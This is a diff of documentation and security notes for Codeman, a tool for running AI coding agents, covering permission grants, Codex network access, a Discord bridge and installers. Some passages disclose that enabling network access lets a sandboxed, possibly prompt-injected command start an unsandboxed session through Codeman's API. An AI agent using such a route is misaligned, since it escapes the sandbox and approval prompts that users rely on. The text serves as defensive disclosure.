- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, and other CLIs' bypass flags. Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, other CLIs' bypass flags, and Codex's **Allow network access** (`networkAccess`, forced off for a user without the grant, since it lets a command in Codex's sandbox call Codeman's API and start a session outside that sandbox). Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Clone Repo does not lend the server's git sign-in to non-admins.** A clone writes only inside the caller's own case space, so it is not admin-gated, but the server account's git credential helpers (the Docker image's opt-in `gh`/`az` helpers, or any `gh auth setup-git`) are shared by every user. A non-admin's clone and preflight therefore run with `git -c credential.helper=`, which empties the helper list including the URL-scoped entries (`cloneWithoutCredentialHelpers` in `case-routes.ts`, argv pinned in `test/git-clone.test.ts`). This closes the Clone Repo path only: the account's SSH keys still apply to an `ssh://` URL, and a non-admin's agent sessions run as the same account, consistent with the first bullet above. Docker cases are a second route to the same sign-in: with `CODEMAN_AGENT_IMAGE_INSTALL_GH`/`_AZ` on, a non-admin's Docker case with credential seeding on (the default) receives a copy of the server account's `gh`/`az` sign-in, exactly as it receives the Claude and Codex credentials.
- **Admin actions are audited** append‑only to `~/.codeman/admin-audit.jsonl` (acting admin, action, target, IP). Passwords set by an admin create/reset are one‑time (returned once, force change). Under Basic auth, `logout` only truly ends QR‑issued sessions — to lock someone out, disable the account or reset the password (a proper login form is a deferred Phase 6).
@@ -582,6 +591,7 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom
- **A second server-side outbound channel through the web-tab egress guard (§10b).** Delivery goes through `webviewFetch`, so link-local and cloud-metadata targets are refused at save time and again on the RESOLVED address at connect time; redirects are not followed (`redirect: 'manual'`) and each send is bounded by a 5 s timeout. Loopback and RFC1918 stay allowed on purpose (a self-hosted ntfy is the point), so **Send test** works as a blind reachability probe (status, refused or timed out, never a response body) for whoever may call it. Web tabs already give that caller full LAN reach with bodies, so nothing new is exposed.
- **The URL is a bearer secret** (anyone holding a Slack or Discord webhook URL can post as it). It lives in `~/.codeman/webhook.json` (0600, tmp+rename), is kept out of `settings.json` (which every logged-in user reads through `GET /api/settings`), is never returned (`GET /api/webhook` gives scheme + host only), and never appears in a log line, a delivery result or an error message.
- **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA.
- **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice.
---
+13
View File
@@ -86,6 +86,19 @@ covered like any other stable behavior. Other agent commands and API routes keep
their existing guarantees. Promotion to stable requires an explicit documented
decision.
### Experimental local model recommendation
`GET /api/v1/local-model` (and its `/api` alias) is labeled experimental, so item 3
above applies to it: its path, its payload (the hardware facts, the verdicts and
reasons, the candidate fields and the English sentences in `headline` and
`notes`) and its behavior may change or be removed in a MINOR or PATCH release.
It is read-only today: it looks at the Mac the server runs on and says which
local model fits. The step that sets a model up from Codeman is not built yet
and will change what the route reports, which is why the shape is not promised.
It is not behind a setting (it writes nothing and adds no settings key); it is
admin only in multi-user mode. Promotion to stable requires an explicit
documented decision.
## Deprecation policy
When we need to change a covered surface:
+17 -1
View File
@@ -140,8 +140,24 @@ Explicit `codexConfig.model` / `codexConfig.reasoningEffort` values take precede
Custom model endpoints, Docker containers and remote host command overrides keep their own settings.
Changing a default affects new sessions and does not edit Codex configuration files.
Two behaviours that are deliberate and worth knowing:
**Allow network access** reaches the same local launches. It opens the network only where
Codex runs the folder in its workspace-write sandbox and does not change Codex's sandbox
mode: a folder Codex runs read-only keeps the network closed, and Codex asks per command.
With it on, commands in the sandbox can call Codeman's API, which can start a session
outside the sandbox with no approval prompt, even when a password is set. See
[The Codeman Skill](Codeman-Skill#when-the-agent-is-codex) and
[Security](Security#what-codeman-does-not-protect-against).
Behaviours that are deliberate and worth knowing:
- **Each local session runs its own app server.** Codex 0.162 and later otherwise hands
every client's commands to one shared background server, which runs them with the
environment of whichever session started it, and a server left by another Codex version
stops every launch on a dialog. So Codeman starts a local Codex 0.162 or later with
`--no-daemon`. The trade-off, going by Codex's own help text: `codex agents` browses the
sessions on that shared server and `codex remote-control` manages it, so do not expect
either to see a session started this way. Remote and Docker launches do not get the
flag, and neither does a local launch whose Codex version Codeman could not read.
- **Predictive echo instead of buffered echo.** Codex's composer reacts to every keystroke,
a `/` opens a live-filtering picker, arrows edit server-side state. Buffering keystrokes
until Enter starved it, so Codex paints each keystroke at the predicted cell while the
+20 -4
View File
@@ -140,12 +140,28 @@ message a worker directly instead of typing into its terminal.
Two things to know:
- Codex's default sandbox blocks network access, even to this machine, so the skill needs
**Bypass approvals and sandbox** (App Settings, Codex).
- Codex's default sandbox blocks network access, even to this machine, so a Codex session
needs **Allow network access** (App Settings, Codex) before it can start and drive
others. The setting is app-wide: it applies to every local Codex session started after
you switch it on, not only the ones you mean to orchestrate. It also has a cost: commands
in Codex's sandbox can then call Codeman's API, which can start a session outside the
sandbox with no approval prompt, even when a password is set, so the sandbox no longer
contains a prompt-injected command. See
[Security](Security#what-codeman-does-not-protect-against). It opens the network only
where Codex runs the folder in its workspace-write sandbox, which is what Codex does for
a project you trusted. It does not change Codex's sandbox mode: a folder Codex runs
read-only (a new case that is not a git repository, for one) keeps the network closed,
and Codex asks you to approve each call to Codeman. Trust the project in Codex, or use `/permissions` in
Codex for that session, to get workspace-write there. **Bypass approvals and sandbox**
works everywhere, but removes the sandbox and the approval prompts.
- Codex 0.162 runs its commands in a shared background process, whose Codeman variables can
belong to the session that started it.
belong to the session that started it. Codeman starts a local Codex 0.162 or later with
`--no-daemon`, so each session runs its own. A remote or Docker session does not get the
flag, and neither does a local one whose Codex version Codeman could not read; there,
and with an older Codex, the skill notices and says so instead of acting.
The skill checks for both and says so instead of acting.
OpenCode and DeepSeek Harness need nothing extra: in their default setup neither keeps its
shell commands off the network, so the skill works there as soon as it is injected.
## What is in the skill
+4 -3
View File
@@ -15,6 +15,7 @@ A fixed list of files from the data directory (`~/.codeman/`, or the directory o
| `clis.json` | CLI enable/disable and custom CLI entries. |
| `custom-model-hosts.json` | Saved custom model endpoints. **Holds API keys.** |
| `webhook.json` | Webhook notification target. |
| `discord.json` | Discord bridge settings. **Holds a bot token.** |
| `intents.json` | Read My Mind per-case profiles. |
| `linked-cases.json` | Registered cases. |
| `remote-hosts.json`, `remote-cases.json`, `docker-hosts.json`, `docker-cases.json` | Remote SSH and Docker overlay configuration. |
@@ -188,15 +189,15 @@ that are the same are listed on one line. A file that is not JSON shows only tha
a file with more than 200 changes is cut short, so use the files themselves for a full diff. The
self-rewritten fields listed under "When a backup is made" are not counted as changes.
**Credential values are never shown.** `.env`, `users.json`, `push-keys.json`, `webhook.json` (the
URL is a bearer secret) and `intents.json` (captured prompts) list only the names that changed, and in every other file a key that looks like a token, secret, password,
**Credential values are never shown.** `.env`, `users.json`, `push-keys.json`, `webhook.json` (the URL is a bearer secret), `discord.json` (the
bot token) and `intents.json` (captured prompts) list only the names that changed, and in every other file a key that looks like a token, secret, password,
credential or key is shown as "changed" without its value. URL values lose any `user:password@`,
query and fragment.
## Security
- Some tracked files carry credentials (`.env`, `users.json`, `custom-model-hosts.json`,
`push-keys.json`, `webhook.json`). Each backup folder is mode `0700` and its files `0600`, so the default
`push-keys.json`, `webhook.json`, `discord.json`). Each backup folder is mode `0700` and its files `0600`, so the default
location exposes nothing the data directory does not already.
- **A custom folder is your decision.** Putting it on a shared drive, a synced folder or a
network share copies those credentials there, with whatever permissions that location has.
+5 -5
View File
@@ -22,11 +22,11 @@ Codeman-side configuration:
Three ways to get one, all under **New or link a case…** at the bottom of the case picker
(the case dropdown in the bottom toolbar; on a phone, the case sheet's **Create New Case**):
| How | Result |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Create New** | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case. |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved. |
| How | Result |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Create New** | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case. |
| **Clone Repo** | A repo cloned into `~/codeman-cases/<name>` (or, with **Clone into a custom folder**, into `<parent folder you choose>/<name>`, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved. |
Linked cases keep living where they are. Deleting a case in Codeman removes the
registration, and for a linked case that is all it removes.
+30 -15
View File
@@ -27,14 +27,20 @@ hosts — these are machine-level infra, not a per-user setting.
shows up without another manual click of **Discover**. One endpoint being unreachable on a
given cycle (powered off, wrong network) never blocks the others from refreshing.
**Context length is picked up automatically where it can be, safely.** Against a
llama.cpp/llama-swap server, discovery also learns each _currently loaded_ model's real
context window and applies it to the launched session (Claude Code today — see below), so
the harness stops assuming a large default window for a model name it doesn't recognise and
overflowing a much smaller real one. It's deliberately never probed for a model that isn't
already loaded, since asking a llama-swap server about an unloaded model can trigger an
actual, slow model swap as a side effect — a model just not currently loaded keeps whatever
context length an earlier cycle already learned for it instead.
**Context length is picked up automatically where it can be, safely.** Every model's own
listing entry is read for a stated context figure (`context_length`, then `context_window`,
which current llama.cpp, llama-swap and gateway-style servers state to varying degrees);
against a llama-swap server the stronger figures from its launch command and from llama.cpp's
`/props` probe win where they exist, and those probes only ever run for a model the server
already reports loaded, since asking about an unloaded model can trigger an actual, slow model
swap as a side effect. A model that states no figure keeps whatever an earlier cycle learned:
the stored figure always beats the endpoint's **Default context length** field
(`modelContextLengths[id] ?? defaultContextLength`), which only applies where no figure was
ever learned (that number is the model's whole window, never a per-slot figure). A model
neither covers simply gets no override, never a guess. The window is applied to the launched session by the harnesses
that can take it: Claude Code today (see below), OpenCode as the model's context limit, and
Codex as a `model_context_window` entry in its generated config file, which also sets Codex's
own auto-compact point via `model_auto_compact_token_limit` at 75% of the window.
## Running a session against one
@@ -48,15 +54,20 @@ pointed at.
**Which model it uses depends on how many the endpoint has discovered.** With exactly one,
the session launches straight away on that model — nothing to choose. With two or more, a
small dialog asks which one to use for this launch before starting the session; the
small dialog asks which one to use for this launch before starting the session; a search box
at the top narrows a long list with a case-insensitive substring match, so a server hosting
hundreds of models stays usable. The
endpoint's default model, if set, is marked but not auto-picked, so a launch can deliberately
use a different one without changing the saved default. The list is not raw discovery order
either: the model llama-swap reports loaded and ready is moved to the top and tagged
**Currently loaded**, and when nothing is loaded, the model you last launched on this harness
and endpoint pair is moved up instead and tagged **Last used** (a per-device browser value, so
another device starts from its own history). The default model keeps its own **Default** pill
in both cases, and nothing is ever auto-chosen: the promoted row is simply the one under your
thumb.
**Currently loaded**. When nothing is reported loaded, the model one of your own running
sessions is using on that endpoint is moved up instead and tagged **In use by a session** (it
beats **Last used**, never **Currently loaded**), and failing that the model you last launched
on this harness and endpoint pair is moved up and tagged **Last used** (a per-device browser
value, so another device starts from its own history). With none of those, a line under the
search box says nothing is marked, so the plain list is not mistaken for an answer. The default
model keeps its own **Default** pill in every case, and nothing is ever auto-chosen: the
promoted row is simply the one under your thumb.
**For opencode, Codex, Gemini, Pi, Grok, DeepSeek, OMP and GitHub Copilot, picking an entry launches
straight onto the endpoint** — no restart, because the endpoint is applied before the
@@ -186,7 +197,7 @@ read is treated as one slot, never guessed.
| **Claude Code, opencode, Pi, Grok, OMP** | Verified end-to-end against a real local server. |
| **Codex** | Config is correct, and plain chat can work against a server that speaks the Responses API — but a real tool-call attempt comes back as inert text instead of running, so it's still not usable for real coding work. |
| **Gemini** | Fails with an auth error gemini-cli raises once redirected. Unresolved; don't rely on it yet. |
| **DeepSeek** | The original 404 is root-caused and fixed (DeepSeek Harness's own code was missing a `/v1` most local servers require) — not yet re-run against a real `dsh` install to confirm end-to-end. |
| **DeepSeek** | Verified end-to-end against a real `dsh` install (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1): the original 404 is root-caused and fixed, and the redirect is now a generated per-session patch file whose prompt reaches the endpoint as `POST /v1/chat/completions`. Such a session does not carry over your home-level `cordis.patch.yml`, your own `llm-pi-ai` providers, or a profile-level `effort`/`preset`. |
| **Antigravity** | No known custom-endpoint mechanism at all. Not offered. |
Which harnesses show up in the Run-menu picker is read live off Codeman's own CLI registry,
@@ -202,6 +213,10 @@ missing entry is the more current answer.
- **No button to un-point a session from the UI yet.** Clearing back to native cloud is an
HTTP call (`POST .../custom-model {"clear": true}`) or deleting the session; the settings
panel manages saved endpoints, not what a running session is currently pointed at.
A clear, or a switch to another endpoint, gives the session back what it had set itself under
a key the endpoint replaced, such as its own `DSH_HOME` or `CLAUDE_CONFIG_DIR`. If Codeman
restarted in between, only the home directory comes back, and an own `DSH_HOME`, `CODEX_HOME`
or `GROK_HOME` only when the endpoint was picked before that restart.
- **Nothing is shared with your real cloud credentials.** The endpoint's own key, if any,
never touches your Anthropic/OpenAI/Google login — a custom endpoint is a separate,
explicit choice per session.
+105
View File
@@ -0,0 +1,105 @@
# Discord Bridge
Answer a blocked agent from your phone, from anywhere. Codeman posts to a private Discord
server when a session needs you, gives every tab its own thread, and types your reply in that
thread into that tab. It only makes outbound connections, so nothing is exposed to the internet
and it works when you are away from your network.
**Opt-in, off by default. One server, one channel, threads per tab.**
> **Treat the Discord account like a login to the machine.** A reply from an allowed account is
> typed into agents that can run shell commands. Turn on 2FA and use a strong, unique password.
## What it does
- **Alerts** for permission prompts, questions, idle sessions, errors and a stopped crash loop. A
question or permission prompt shows what is on the tab's screen right now, so you can see what is
being asked; a finished turn or an error carries the CLI's whole last message.
- **One thread per tab** in a parent channel, so a reply always reaches exactly one session.
- **Replies** from an allowed user are typed into that tab as one line plus Enter (a single digit answering a waiting permission or question goes as the key alone, without Enter).
- **Files** you attach are saved in the tab's folder and the agent is given the path. An agent can
send a file back.
- **Agents can ask for you.** `codeman notify "Press the reset button on the case" --urgent`
posts to the tab's thread. Sessions from the installer or an npm install have the command (a git checkout run without the installer does not); see [below](#telling-the-agents).
## Set it up
The full least-privilege walkthrough (private server, bot, the exact permissions, IDs, token
handling) is in [docs/discord-bridge.md](https://github.com/Ark0N/Codeman/blob/master/docs/discord-bridge.md).
In short:
1. Make a private Discord server with one text channel, and copy the server, channel and your user IDs.
2. Create an application with a bot. Turn **Public Bot** off, turn **Message Content Intent** on, and
invite it with the `bot` scope and only the permissions the guide lists (no Administrator).
3. In **App Settings → Notifications → Discord**, paste the bot token and the three IDs, press **Save**,
then **Send test**, then turn **Talk to your sessions from Discord** on and **Save** again.
The token is a secret: it is kept in its own file (`~/.codeman/discord.json`, readable by its owner
only), never in the shared settings, and never shown again once saved.
## Options
| Option | Choices | Default |
| ---------------------------------------- | ------------------------------------------- | --------------- |
| Create threads | On the first alert, or for every new tab | First alert |
| When a tab is deleted | Keep, archive or delete the thread | Archive |
| Stale threads | Keep, archive or delete threads no tab uses | Keep |
| @ ping | Never, critical events only, every post | Critical only |
| Which events | Needs attention, or everything | Needs attention |
| Tell Claude how to reach you | On or off | On |
A finished turn, and an error, is posted as the CLI's whole last message, with its formatting and questions
kept, split over several posts if it is long. A shell, and permission or question dialogs, show the last lines
of the screen instead.
Only some CLIs raise a turn end. Claude Code does (an idle alert by default, and a stop alert when **Which
events** is Everything), and DeepSeek Harness sends a stop. The others (Codex, OMP, OpenCode, Gemini,
Antigravity, Pi, Grok, Copilot) send none, so their messages reach Discord with an error or `codeman notify`;
Codex's dialogs are read off its screen.
The stale-thread setting also archives or deletes threads that **When a tab is deleted** kept or archived, because a
deleted tab's thread leaves the bridge's map.
Deleting a thread needs the **Manage Threads** permission on the channel. "Critical" means a
permission prompt, a question, an error, or a post an agent marked urgent.
## Telling the agents
An agent only posts deliberately if it knows it can:
- **Claude** is launched with the instruction as part of its system prompt (**Tell Claude how to reach you**, on by default), so nothing shows in the chat. This reaches local tabs only (remote and Docker tabs have no `codeman` command).
- **Every other CLI** is not told. It can still run `codeman notify` if you tell it to.
Tabs that were already open when you turned the bridge on are not told. The alerts still reach
Discord for them; only the agent-initiated `codeman notify` habit is missing.
## Files
- **You to the agent:** attach a file to a reply. It is saved as
`<tab folder>/.codeman-discord/<message id>-<name>` and the line the agent sees ends with
`[attached: <path>]`. At most 5 files of 8 MB each. The folder ignores itself, so nothing in it is committed.
- **Agent to you:** `codeman notify "message" --file <path>` uploads a file of at most 8 MB that lies
inside the tab's folder. Credential files such as `.env` are refused.
- Remote (ssh) tabs have no local folder, so they neither send nor receive files.
- A file you send is untrusted content to the agent that opens it.
## Safety
- Only user IDs on the allowlist, in your server, inside a thread Codeman made, are acted on.
Everything else is dropped.
- A reply is cut to one printable line (1000 characters) and limited to one per second per tab.
- Posts can ping only the allowlisted users, so agent output cannot ping the whole server.
- A Discord outage or a bad token never affects a session; it backs off, and the last error shows in Settings.
## Troubleshooting
| Symptom | Check |
| ------------------------------------------------ | -------------------------------------------------------------- |
| Send test says 401 | The token is wrong or was reset. Paste the current one. |
| Send test says the bot cannot see it | Check the bot's role and the channel ID. |
| Posts arrive but replies do nothing | Message Content Intent is off, or your user ID is not allowed. |
| Status line says "Message Content Intent is off" | Turn it on in the Developer Portal, Bot tab. |
| A thread is not deleted | The bot lacks Manage Threads on the channel. |
See also: [Notifications And Approvals](Notifications-And-Approvals) for the other ways to hear
from an agent, and [Security](Security) for how secrets are handled.
+6 -1
View File
@@ -98,6 +98,10 @@ Adoption is **admin-only in multi-user mode**. Linking creates Codeman's own con
with one bind mount that has already been checked; an adopted container's mounts belong to
whoever started it, and one that mounts `/` hands the adopter the host.
That is about a container. A tmux session someone started by hand inside a container is opened
from the home screen instead, and it needs a Docker case pointing at that container: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Credentials
Your existing host logins work inside the container without logging in again. Credentials
@@ -225,7 +229,8 @@ this does not widen your network exposure. Add it to the service unit and restar
- Per-session environment overrides, effort, and per-CLI configuration are **rejected** for
docker cases, because they do not cross into the container. Configure the container through
the docker host's per-mode command override instead.
the docker host's per-mode command override instead. A `$` in that override expands inside
the container, not on the Codeman machine.
- tmux must exist in the base image. It is a hard prerequisite and is probed when linking a
host.
- On macOS, Docker Desktop takes a dedicated uid path, and memory caps are subject to the
+2 -1
View File
@@ -179,12 +179,13 @@ the defaults discovers and attaches your live sessions.
| Install route | Update with |
| ------------- | --------------------------------------------------------------------------- |
| Installer | Re-run the install one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the install one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart the service. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It stashes a
dirty tree rather than discarding it, and streams progress across the restart. npm installs
report as non-updatable.
and installs without git report as non-updatable.
### Will updating kill my running sessions?
+20
View File
@@ -39,6 +39,26 @@ name.
**Open** on a worktree's row starts another session in it, with the CLI chosen above.
## When an agent moves into a worktree
Claude Code can move a running session into a worktree part way through (its EnterWorktree tool),
and the session's tab stays on the case. While the session's pane is in a worktree inside the
session's folder, the **Files** panel lists that worktree, so you see the files the agent is
editing. A strip under the panel's title names the worktree, and its **Session folder** button
switches to the session's own folder (**Back to worktree** returns). The panel follows the agent
in and back out on its own while it is open.
Only the Files panel moves. The **Git** panel stays on the session's folder, so it can show
`main` while the strip names the worktree. And `.claude` is a hidden folder of the session's
folder, so an `.html` file in `.claude/worktrees/<name>` opens as source rather than as a
rendered page. A session started in the worktree does not have that limit.
A worktree outside the session's folder (`git worktree add ../feature`) is not followed: Codeman
only serves files inside the session's folder. The same goes for a session started in a subfolder
of the repository, because Claude Code puts the worktree at the top of the repository, which is
outside that session's folder. Open such a worktree as a case of its own with Add Case > Link
Existing.
## Removing one
Two ways, and both use `git worktree remove` **without** `--force`:
+1
View File
@@ -79,6 +79,7 @@ codeman web # then open http://localhost:3000
| ------------------------------------------------------------- | --------------------------------------------------- |
| [Keeping Agents Running](Keeping-Agents-Running) | How does it run unattended overnight? |
| [Notifications And Approvals](Notifications-And-Approvals) | How do I know an agent needs me, and answer from my phone? |
| [Discord Bridge](Discord-Bridge) | How do I answer a blocked agent from Discord, in a thread per tab? |
| [Cron Jobs](Cron-Jobs) | How do I run an agent on a schedule? |
| [Autonomous Loops](Autonomous-Loops) | What are the Ralph and Orchestrator loops for? |
| [Watching Agents Work](Watching-Agents-Work) | How do I see what the subagents are doing? |
+83 -7
View File
@@ -78,6 +78,8 @@ install.sh uninstall # remove (offers to undo a rename it performed)
install.sh tailscale # retrofit Tailscale access onto an existing install
install.sh name [<n>] # rename this machine on your tailnet (default codeman-<hostname>)
install.sh cloudflared # install cloudflared for the in-app Cloudflare tunnel
install.sh preflight # print what is on this machine as JSON; changes nothing
install.sh agent <id> # install one agent CLI and nothing else, also next to a running Codeman
```
**Flags** answer the questions from the command line and pipe through `bash -s --`:
@@ -94,14 +96,74 @@ the name, `--service` / `--run` / `--no-start` the last one. `--yes` takes every
`--port <n>` moves Codeman off 3000; the service file and the serve mapping follow it. On an
existing install, `--port` and `--password` re-run the setup so the service file picks them up,
and a re-run with `--lan` or `--tailscale` keeps the password the service already has.
`--ai-cli <id>` answers the agent menu that appears when no agent CLI is found, with no
terminal needed (`--ai-cli claude`, `--ai-cli codex`, ...), and `--ai-cli none` skips it.
To add an agent later, `install.sh agent codex` installs that one and changes nothing else:
it does not touch Codeman or its service, and an agent that is already there is left alone.
Codeman Desktop does the same from *Add a coding agent*. A running Codeman can take a few
minutes to notice the new agent; reload the page if it does not show up.
**Automation and CI**: with no terminal attached, any step that would change the system
aborts with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to
approve those steps. `CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
approve those steps. With nothing else said, that also installs the first agent CLI of the
catalogue when none is found; `--ai-cli` (or `CODEMAN_AI_CLI`) says which one, or none.
`CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
installs Tailscale itself non-interactively; a non-interactive run never renames the
machine and never starts a service. Everything the unattended steps print goes to
`~/.codeman/install.log`, and the last lines of it are shown when a step fails.
### Without administrator rights
Codeman itself always lived in your home directory. What used `sudo` (or Homebrew on a
Mac) were the things it needs first. On an account that has no administrator rights the
installer says so in its summary (`Admin not used (...)`) and gets those another way:
| Needed | With administrator rights | Without |
| ----------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| Node.js 22 | system package or Homebrew | The official tarball from nodejs.org, checked against the `SHASUMS256.txt` published beside it, unpacked to `~/.codeman/runtime/node`. |
| tmux | system package or Homebrew | The tmux project's own build ([tmux-builds](https://github.com/tmux/tmux-builds)), checked against a SHA-256 pinned in the installer, in `~/.codeman/runtime/bin`. |
| git | system package or Xcode tools | Not installed. Without a working git, the source is downloaded as an archive instead of cloned. |
| Build toolchain (Linux) | system package | Cannot be supplied. See below. |
This route is taken by itself when `sudo` is not installed, when the account is outside the
`sudo`, `wheel` and `admin` groups and `sudo` will not run without a password, when the
`sudo` password is refused, and on a Mac for an account that is not an administrator and
has no Homebrew it can write to.
`--no-admin` (or `CODEMAN_NO_ADMIN=1`) forces it on an account that does have the rights;
`CODEMAN_NO_ADMIN=0` switches the detection off. Nothing on this route runs `sudo`,
Homebrew or the Xcode tools installer.
The group check cannot see a sudoers entry, so an account that sudoers lists by name, with
a password, takes this route too. The summary then reads `could not confirm that this
account may use sudo`, and to use `sudo` anyway:
```bash
curl -fsSL https://getcodeman.com/install | CODEMAN_NO_ADMIN=0 bash
```
What to know about it:
- **Linux needs make, a C++ compiler and python3 to be there already.** node-pty compiles
from source on Linux, and a compiler is a system package. The installer checks this
before it downloads anything and names what is missing. macOS needs no compiler.
- **The tmux download needs macOS 15 or newer** (and x86_64 or arm64 on either system).
On an older Mac an administrator has to install tmux once (`brew install tmux`); the
rest then works without one.
- **An install without git updates by re-running the install line**, not from App
Settings. The re-run builds the new version beside the old one and swaps it in only
after the build succeeded, so a failed download or build leaves the install as it was.
Once the machine has a working git, the next re-run turns the install into a normal
clone and in-app updates work again. On a Mac, "a working git" means the Xcode Command
Line Tools are installed: without them `/usr/bin/git` only opens Apple's install dialog,
and the installer never runs it.
- **Tailscale works where it is already installed and your account may configure it.** On
Linux, installing it, logging in and granting serve rights each need an administrator
(`sudo tailscale set --operator=$USER`, once). Local network and this-machine access
need nothing, and `install.sh cloudflared` puts `cloudflared` in `~/.local/bin`.
- `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin`, and
`~/.codeman/runtime/node/bin` is added to your PATH, so a CLI installed with
`npm install -g` is found as well.
## Route B: npm
```bash
@@ -144,16 +206,24 @@ See [Contributing](Contributing) for the rest of the development loop.
## Route D: Docker Compose
Codeman itself can run in a container and spawn Docker cases as sibling containers through
the host's Docker socket. Copy `docker/.env.example` to `docker/.env`, set
`CODEMAN_PASSWORD`, then:
the host's Docker socket. You need Docker with the Compose v2 plugin (2.27.2 or newer), and
an account that can use Docker without sudo (on Linux, the `docker` group). Then, on Linux:
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks for a data folder, a port and a password. Enter takes each default,
including a generated password, shown on your terminal and kept in `docker/.env`. It then
writes that file, builds the image (a few minutes the first time) and ends on the URL once
Codeman answers. The image
already includes Claude Code, Codex, Gemini CLI and OpenCode: start a session and log the CLI
in once, and the login is kept in the data folder.
Run the script again after updating rather than a plain `docker compose up`, so the rebuilt
image, the refreshed volumes and the entrypoint arrive together. The full guide, including
storage and networking options, is
Unraid, storage and networking options, is
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## Installing an agent CLI
@@ -194,6 +264,7 @@ If the dashboard loads and **+ New Session** opens, you are done. Continue to
| Path | What |
| ----------------------- | ------------------------------------------------------------------------------------------------ |
| `~/.codeman/app` | The installed code (installer route only). |
| `~/.codeman/runtime` | Node.js and tmux, when the installer downloaded them instead of using system packages ([no administrator rights](#without-administrator-rights)). |
| `~/.codeman/` | All state: `state.json`, settings, session history, push keys, TLS certs. See [Core Concepts](Core-Concepts). |
| `~/codeman-cases/` | Cases created from scratch. Linked cases stay wherever they already are. |
| `~/.codeman/web.log` | Log for a detached (`-d`) server. |
@@ -217,9 +288,10 @@ Full detail, including logs and the self-updater, is in
| Install route | How to update |
| ------------- | ----------------------------------------------------------------- |
| Installer | Re-run the one-liner, or **App Settings → System → Updates** in the UI. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
| Docker Compose | `git pull`, then re-run `Start-Codeman.sh`. The in-app updater works too, and refuses a release that changes the container definition until you re-run the script. |
The in-app updater covers git-clone installs supervised by systemd or launchd. It restarts
the process that is running it, so the actual work happens in a detached script and the
@@ -232,8 +304,12 @@ install.sh uninstall # installer route
npm uninstall -g aicodeman # npm route
```
Neither removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand if you want the
state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
The installer route asks before it removes `~/.codeman/runtime` (the Node.js and tmux it
downloaded, if any), and keeps it by default when you installed CLIs there with
